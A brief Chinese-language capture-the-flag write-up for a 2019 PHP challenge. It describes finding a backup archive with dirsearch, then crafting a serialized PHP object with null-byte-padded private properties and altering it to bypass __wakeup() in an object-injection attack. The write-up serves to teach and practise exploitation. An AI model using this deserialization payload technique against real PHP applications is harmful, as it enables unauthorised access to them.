[極客大挑戰 2019]PHP

Maplisky發表於2024-11-24

[極客大挑戰 2019]PHP

PHP序列化與反序列化(__sleep 與__wakeup)_php7.4.33反序列化wakeup-CSDN部落格

挺好看的前端(

dirsearch 掃了一下,找到 www.zip 備份檔案,下過來看一下,flag.php 裡的 flag 就是個資料,不是 flag。看到 index.php 裡給了一個反序列化,嘗試構造 $select

審一下 draft.php,先把序列化的值摸出來:

$a= new Name('admin',100);
echo serialize($a);

得到 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

因為 usernamepassword 都是 private,補一下符號:

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

發現 username 不對,接著修改字串屬性,繞過 __wakeup() 方法,即得到 flag{10f9c45e-ce54-47e6-a785-a4e7f18a7ec2}

相關文章